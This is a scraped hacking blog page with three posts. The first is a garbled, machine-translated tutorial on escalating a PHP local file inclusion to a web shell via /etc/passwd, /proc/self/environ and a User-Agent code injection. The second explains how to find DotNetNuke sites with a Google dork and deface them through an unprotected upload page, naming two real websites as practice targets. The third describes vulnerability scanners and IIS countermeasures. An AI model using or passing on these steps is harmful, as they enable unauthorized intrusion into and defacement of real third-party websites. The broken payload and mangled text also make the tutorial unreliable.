environ

10/30/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; font-family: Arial,sans-serif,Verdana; font-size: 12px;"><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwN5_e2iP6X_bQAORJ6Fy2m2oFZr_FJrwesTEbSLrB4E6eOtPjp_m1V3yyXIOeF_RRgQB4ov3Jdhtif7rabAEdBIFMDD47jzH1XO9I_JQTjQ2re8q_jmF-Rw2gUs-F953hSy6qEmP6iR3E/s1600/lfi+shell.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwN5_e2iP6X_bQAORJ6Fy2m2oFZr_FJrwesTEbSLrB4E6eOtPjp_m1V3yyXIOeF_RRgQB4ov3Jdhtif7rabAEdBIFMDD47jzH1XO9I_JQTjQ2re8q_jmF-Rw2gUs-F953hSy6qEmP6iR3E/s320/lfi+shell.jpg" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><h3 class="smller" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; line-height: 16px; margin: 0px 0px 0px 84px; padding: 0px;"><br /></h3><div><br /></div><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">1 - Introduction<br />2 - Discovery LFI<br />3 - check if / proc / self / environ is accessible<br />4 - malicious code injection<br />5 - Access to the shell<br />6 - Thanks<br /><br />>> 1 - Introduction<br /><br />In this tutorial I will show how to obtain a shell on a site using your Local File Inclusion and<br />injecting malicious code in proc / self / environ.Este a tutorial that explains everything step by step.<br /><br />>> 2 - Discovery LFI<br /><br />- Now a site to find a vulnerable target to Local File <a href="http://www.orkut.co.in/Interstitial?u=http://inclusion.am/&t=ANT-2vyV6xI0BQ6QZt6MCFMkk1WGnFzI3BVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Am</a> found to verify<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3Dcontact.php&t=AAt733Getx39ROFkcyxYy6FmtE4_RVbLYRVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=contact.php</a><br /><br />- Now to replace contact.php with .. / and the URL will become<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3D../&t=AIKBCKo6DrvVGTxpFbSaFg1lDyJt7LBFQxVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../</a><br /><br />and have an error.<br /><br />Warning: include (../) [function.include]: failed to open stream: No such file or directory in / home / sirgod / public_html / <a href="http://www.orkut.co.in/Interstitial?u=http://website.com/&t=AOp-LAJSNSgATCEsrJszRDHhnZDRsWCT2BVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">website.com</a> / view.php on<br /><br />line 1337<br /><br />good chance to have a vulnerability type Local File <a href="http://www.orkut.co.in/Interstitial?u=http://inclusion.sa/&t=ABOMeXxduLPNs97aULZKYOiDGg12h1jK8xVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Sa</a> move on.</span></big></b></div></div><div class="listdivi" style="background-color: transparent; clear: both; color: black; font-family: Arial,sans-serif,Verdana; font-size: 1px; height: 0px; line-height: 1px; margin: 1px 0px; overflow: hidden; padding: 0px;"></div><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="rfdte" style="color: #666666; float: right; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 8px 15px; padding: 0px;">11/23/10</div><h3 class="smller" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; line-height: 16px; margin: 0px 0px 0px 84px; padding: 0px;"><br /></h3><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">- Check if we can access the etc / passwd to see if it is vulnerable to Local File <a href="http://www.orkut.co.in/Interstitial?u=http://inclusion.sa/&t=ABOMeXxduLPNs97aULZKYOiDGg12h1jK8xVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Sa</a>make a request:<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3D../../../etc/passwd&t=ANdpJaSh7jndtgboaFpljEQb2bni7-vFTxVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../etc/passwd</a><br /><br />have an error and the file etc / passwd is not included.<br /><br />Warning: include (../) [function.include]: failed to open stream: No such file or directory in / home / sirgod / public_html / <a href="http://www.orkut.co.in/Interstitial?u=http://website.com/&t=AJPbdppLrxmlboKKam6tej3hnZDRsWCT2BVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">website.com</a> / view.php on line<br /><br />1337<br /><br />climbed some directors<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3D../../../../../etc/passwd&t=AGKYhfzlh2NXnQxwKNG8CJTb5NscQ-i3RxVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../../../etc/passwd</a><br /><br />We successfully included file etc / passwd.<br /><br />root: x: 0:0: root: / root: / bin / bash bin: x: 1:1: bin: / bin: / sbin / Nologin daemon: x: 2:2: daemon: / sbin: / sbin / Nologin adm: x: 3:4: adm: / var / adm: / sbin / Nologin<br /><br />lp: x: 4:7: lp: / var / spool / lpd: / sbin / Nologin sync: x: 5:0: sync: / sbin: / bin / sync shutdown: x: 6:0: shutdown: / sbin : / sbin / shutdown halt: x: 7:0: halt: / sbin: / sbin / halt<br /><br />mail: x: 8:12: mail: / var / spool / mail: / sbin / Nologin news: x: 9:13: news: / etc / news: UUCP: x: 10:14: UUCP: / var / spool / UUCP: / sbin / Nologin<br /><br />operator: x: 11:0: operator: / root: / sbin / Nologin games: x: 12:100: games: / usr / games: / sbin / Nologin test: x: 13:30: test: / var / test : / sbin / Nologin ftp:x:14:50:FTP</span></big></b></div></div><div class="listdivi" style="background-color: transparent; clear: both; color: black; font-family: Arial,sans-serif,Verdana; font-size: 1px; height: 0px; line-height: 1px; margin: 1px 0px; overflow: hidden; padding: 0px;"></div><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="rfdte" style="color: #666666; float: right; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 8px 15px; padding: 0px;">11/23/10</div><h3 class="smller" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; line-height: 16px; margin: 0px 0px 0px 84px; padding: 0px;"><br /></h3><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">User: / var / ftp: / sbin / Nologin nobody: x: 99:99: Nobody: /: / sbin / Nologin<br /><br />>> 3 - check if / proc / self / environ is accessible<br /><br />- Now to see if / proc / self / environ is accesibil.O to replace etc / passwd with / proc / self / environ<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3D../../../&t=AGe1WArqxNTOg7PUWAjzvYUcaGP92oEm2RVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../</a> ... LF / environ<br /><br />If you get something like<br /><br />DOCUMENT_ROOT = / home / sirgod / public_html GATEWAY_INTERFACE = CGI/1.1 HTTP_ACCEPT = text / html, application / xml, q = 0.9, application / xhtml + xml, image / png,<br /><br />image / jpeg, image / gif, image / x-xbitmap, * / *, q = 0.1 PHPSESSID = HTTP_COOKIE = HTTP_HOST =<a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/&t=AAiRnc6O4jlDVidfMVi0vvuB9xj2D9tMoBVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> 134cc7261b341231b9594844ac2ad7ac<br /><br />http://<a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/index.php?view%3D../../../../../../etc/passwd&t=AHpzFkxxSZlaJ2tWgGLfbr8zpEw-A568oRVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">Http://www.website.com/index.php?view=../../../../../../etc/passwd</a> HTTP_REFERER = HTTP_USER_AGENT = Opera/9.80 (Windows NT 5.1, U , en) Presto/2.2.15</span></big></b></div></div><div class="listdivi" style="background-color: transparent; clear: both; color: black; font-family: Arial,sans-serif,Verdana; font-size: 1px; height: 0px; line-height: 1px; margin: 1px 0px; overflow: hidden; padding: 0px;"></div><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="rfdte" style="color: #666666; float: right; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 8px 15px; padding: 0px;">11/23/10</div><h3 class="smller" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; line-height: 16px; margin: 0px 0px 0px 84px; padding: 0px;"><br /></h3><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">Version/10.00 PATH = / bin: / usr / bin QUERY_STRING = view =..% 2F ..% 2F ..% 2F ..% 2F ..% 2F ..% 2Fproc% 2Fself% 2Fenviron REDIRECT_STATUS = 200 REMOTE_ADDR = 6x .1 xx.4x.1xx<br /><br />REMOTE_PORT = 35665 REQUEST_METHOD = GET REQUEST_URI = / index.php? View =..% 2F ..% 2F ..% 2F ..% 2F ..% 2F ..% 2Fproc% 2Fself% 2Fenviron<br /><br />SCRIPT_FILENAME = / home / sirgod / public_html / index.php SCRIPT_NAME = / index.php SERVER_ADDR = 1xx.1xx.1xx.6x SERVER_ADMIN = <a href="mailto:webmaster@website.com">webmaster@website.com</a><br /><br />SERVER_NAME = <a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/&t=APOdiHPtd61ANyWoRO8A6ByB9xj2D9tMoBVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> SERVER_PORT = 80 SERVER_PROTOCOL = HTTP/1.0 SERVER_SIGNATURE =<br />Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV / 2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at <a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/&t=APOdiHPtd61ANyWoRO8A6ByB9xj2D9tMoBVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> Port 80<br /><br />proc / self / environ is accesibil.Daca get a blank page, an error means it is not accessible or operating system is FreeBSD.</span></big></b></div></div><div class="listdivi" style="background-color: transparent; clear: both; color: black; font-family: Arial,sans-serif,Verdana; font-size: 1px; height: 0px; line-height: 1px; margin: 1px 0px; overflow: hidden; padding: 0px;"></div><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="rfdte" style="color: #666666; float: right; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 8px 15px; padding: 0px;">11/23/10</div><h3 class="smller" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; line-height: 16px; margin: 0px 0px 0px 84px; padding: 0px;"><br /></h3><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">>> 4 - malicious code injection<br /><br />- Now let us inject malicious code in proc / self / environ.Cum we do this? Inject code in HTTP User-Agent header.<br />Use Tamper Data addon's for Firefox to change User-Agent-ul.Porniti Tamper date and make a request to the URL:<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3D../../../&t=ANis2Ywv-RyoD92fNgg9CakcaGP92oEm2RVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../</a> ... LF / environ<br /><br />Choose Tamper and User-Agent field write the following code:<br /><br />A shell.php available @ ;?><br /><br />Then, submit the request.<br /><br />Our command will be executed in<br />through function system (), and our shell will be creat.Daca does not work, try exec () because system () can be<br />restricted on a server in php.ini</span></big></b></div></div><div class="listdivi" style="background-color: transparent; clear: both; color: black; font-family: Arial,sans-serif,Verdana; font-size: 1px; height: 0px; line-height: 1px; margin: 1px 0px; overflow: hidden; padding: 0px;"></div><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="rfdte" style="color: #666666; float: right; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 8px 15px; padding: 0px;">11/23/10</div><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">>> 5 - Access to the shell<br /><br />- Now check if our code has been injected with malicious <a href="http://www.orkut.co.in/Interstitial?u=http://succes.sa/&t=AHyFZBUPN4nm1xR6A4yT6ylumq30hf9hfhVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">succes.Sa</a> see if the shell is present.<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/&t=AAvOPDcWpCTmxNe4N4tkVpiB9xj2D9tMoBVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> / shell.php<br /><br />We acolo.Injectia shell was successful.<br /><br />i hope you enjoy!!!</span></big></b></div></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

LFI Shell by LFI - Method proc / self / environ

1 - Introduction 2 - Discovery LFI 3 - check if / proc / self / environ is accessible 4 - malicious code injection 5 - Access to the shell 6...

Hack Website Using DNN [Dot Net Nuke] Exploit

10/25/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">Hack Website Using DNN [Dot Net Nuke] Exploit</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="1817804858387855941"><div><div style="text-align: center;"><b>Hack Website Using DNN [Dot Net Nuke] Exploit</b></div><div style="text-align: center;"><b><br /></b></div><div style="text-align: left;">Using google DORK try to find the vulnerable website.</div><div style="text-align: left;"><b><br /></b></div><div style="text-align: left;"><b>inurl:"/portals/0"</b></div><div style="text-align: left;"><br /></div><div style="text-align: left;">You can also modify this google dork according to your need & requirement</div><div style="text-align: left;"><br /></div><div style="text-align: left;">I have found these 2 website vulnerable to this attack:</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><a href="http://www.wittur.se/">http://www.wittur.se/</a></div><div style="text-align: left;"><a href="http://www.bsd405.org/">http://www.bsd405.org/</a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">n00bs can also try both of these websites for testing purpose.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Open the home page and check any image which is located in <b>/portals/0/</b></div><div style="text-align: left;">Check the location of the image. It should be located in <b>/portals/0/</b></div><div style="text-align: left;"><b><br /></b></div><div style="text-align: left;">For e.g. in case of <a href="http://www.wittur.se/">http://www.wittur.se</a> ..the image is located at location- <a href="http://www.wittur.se/Portals/0/SHM.jpg">http://www.wittur.se/Portals/0/SHM.jpg</a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Waaooo it means this website is vulnerable and we can change the front page pic. Now the current image name is SHM.jpg. Rename the new image as SHM.jpg which you want to upload as a proof of you owned the system.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Now here is the exploit</div><div style="text-align: left;"><b><br /></b></div><div style="text-align: left;"><b>Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx</b></div><div style="text-align: left;"><b><br /></b></div><div style="text-align: left;"><b>HOW TO RUN ?</b></div><div style="text-align: left;"><b><br /></b></div><div style="text-align: left;">Simply copy paste it as shown below:</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><a href="http://www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx">www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx</a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">You will see the portal where it will ask you to upload. Select the third option <b>File ( A File On Your Site</b></div></div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDLOCvPUNhBGzZRYZns0lX6kyMaHra2k59ueSjrkmqZFrFrCucMTOp5X3ZGdYqCGc7XeJmLNrhh8K8WvNnvXGhHJ8xjtrbLi12ryGO5tCMJgG6pPbWNywjyL4pwl4WGGe_6bM3klBlM3I/s1600/1.JPG" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5498613501494723714" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDLOCvPUNhBGzZRYZns0lX6kyMaHra2k59ueSjrkmqZFrFrCucMTOp5X3ZGdYqCGc7XeJmLNrhh8K8WvNnvXGhHJ8xjtrbLi12ryGO5tCMJgG6pPbWNywjyL4pwl4WGGe_6bM3klBlM3I/s400/1.JPG" style="background-color: transparent; border: 1px solid transparent; display: block; height: 273px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 400px;" /></a><div style="text-align: left;">After selecting the third option, replace the URL bar with below script</div><div style="text-align: left;"><b><br /></b></div><div style="text-align: left;"><b>javascript:__doPostBack('ctlURL$cmdUpload','')</b></div><div style="text-align: left;"><b><br /></b></div><div style="text-align: left;">After running this JAVA script, you will see the option for <b>Upload Selected File. </b>Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...<b>BINGGOOOOOOOOOOOO you have hacked the website.</b></div><div style="text-align: left;"><b><br /></b></div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtFXeHmiRf7l07oFHNEb3f1AsZSAGF-4aOxFh1VWptP6dfi3rcYYmsS9TETcxqJiQihJDkYUbEdg0fSXun5qEJyR4kyeppYRmkXAESG13TbTI9-nH3sruRLzvPiMSs2_-Tq6V6LcOg-YM/s1600/2.JPG" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5498613494553959698" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtFXeHmiRf7l07oFHNEb3f1AsZSAGF-4aOxFh1VWptP6dfi3rcYYmsS9TETcxqJiQihJDkYUbEdg0fSXun5qEJyR4kyeppYRmkXAESG13TbTI9-nH3sruRLzvPiMSs2_-Tq6V6LcOg-YM/s400/2.JPG" style="background-color: transparent; border: 1px solid transparent; cursor: pointer; display: block; height: 286px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 400px;" /></a></span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

Hack Website Using DNN [Dot Net Nuke] Exploit

Hack Website Using DNN [Dot Net Nuke] Exploit Hack Website Using DNN [Dot Net Nuke] Exploit Using google DORK try to find the vulnerable web...

Top20 Scan Method : Hacking Web Servers

10/18/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgW5hmYbZ1THM4SLBoe0BfO3fKLulR69E0OfwoUPQFoxMFB706FHizbx9Oug344rR6N-41dEmunvjSFZGMqTf8oP3A6ImTpx1ZrMubFl_X495kXnIHr5LMjIKyg77sqfEzNhkOmGqFW9fN1/s1600/hp-webinspect.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="484" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgW5hmYbZ1THM4SLBoe0BfO3fKLulR69E0OfwoUPQFoxMFB706FHizbx9Oug344rR6N-41dEmunvjSFZGMqTf8oP3A6ImTpx1ZrMubFl_X495kXnIHr5LMjIKyg77sqfEzNhkOmGqFW9fN1/s640/hp-webinspect.jpg" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><br />This method will scan the web server for the top 20 vulnerabilities list published by SANS/FBI (<a class="url" href="http://www.sans.org/" style="color: #3778cd; text-decoration: none;" target="_top">www.sans.org</a>)<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="309190208423051625"><div><br /></div><div><span class="sidebar-title"><b><center>Hacking Tool: WebInspect</center></b></span><br /><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">WebInspect is an impressive Web server and application-level vulnerability scanner which scans over 1500 known attacks.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">It checks site contents and analyzes for rudimentary application-issues like smart guesswork checks, password guessing, parameter passing, and hidden parameter checks.</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">It can analyze a basic Webserver in 4 minutes cataloging over 1500 HTML pages</div></li></ul></div><div><div class="para">WebInspect enables application and web services developers to automate the discovery of security vulnerabilities as they build applications, access detailed steps for remediation of those vulnerabilities and deliver secure code for final quality assurance testing.</div><div class="para">With WebInspect, the developer can find and correct vulnerabilities at their source, before attackers can exploit them. WebInspect provides the technology necessary to identify vulnerabilities at the next level, the Web application.</div></div><div><span class="sidebar-title"><b><center>Network Tool: Shadow Security Scanner</center></b></span><br /><div class="first-para"><a class="url" href="http://www.safety-lab.com/" style="color: #3778cd; text-decoration: none;" target="_top">http://www.safety-lab.com</a></div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Security scanner is designed to identify known and unknown vulnerabilities, suggest fixes to identified vulnerabilities, and report possible security holes within a network's internet, intranet and extranet environments.</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">Shadow Security Scanner includes vulnerability auditing modules for many systems and services.</div><div class="last-para">These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP,LDAP,TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL,IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and</div></li></ul></div><div><div class="para">These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP, LDAP, TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL, IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and more.</div><div class="para">Running on its native Windows platform, SSS also scans servers built practically on any platform, successfully revealing vulnerabilities in Unix, Linux, FreeBSD, OpenBSD, Net BSD, Solaris and, of course, Windows 95/98/ME/NT/2000/XP/.NET. Because of its unique architecture, SSS is the able to detect faults with CISCO, HP, and other network equipment. It is also capable of tracking more than 2,000 audits per system.</div><div class="para">The Rules and Settings Editor will be essential for the users willing only to scan the desired ports and services without wasting time and resources on scanning other services. Flexible tuning lets system administrators manage scanning depth and other options to make benefit of speed - optimized network scanning without any loss in scanning quality.</div></div><div><span class="sidebar-title"><b><center>Countermeasures</center></b></span><br /><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">IISLockdown:</div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">IISLockdown restricts anonymous access to system utilities as well as the ability to write to Web content directories.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">It disables Web Distributed Authoring and Versioning (WebDAV).</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">It installs the URLScan ISAPI filter.</div></li></ul></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">URLScan:</div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">URLScan is a security tool that screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator.</div></li></ul></li></ul></div><div>UrlScan is a security tool that screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator. Filtering requests helps secure the server by ensuring that only valid requests are processed. UrlScan helps protect Web servers because most malicious attacks share a common characteristic they involve the use of a request that is unusual in some way. For instance, the request might be extremely long, request an unusual action, be encoded using an alternate character set, or include character sequences that are rarely seen in legitimate requests. By filtering unusual requests, UrlScan helps prevent such requests from reaching the server and potentially causing damage.</div><div><br /></div><div><span class="sidebar-title"><b><center>Summary</center></b></span><br /><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 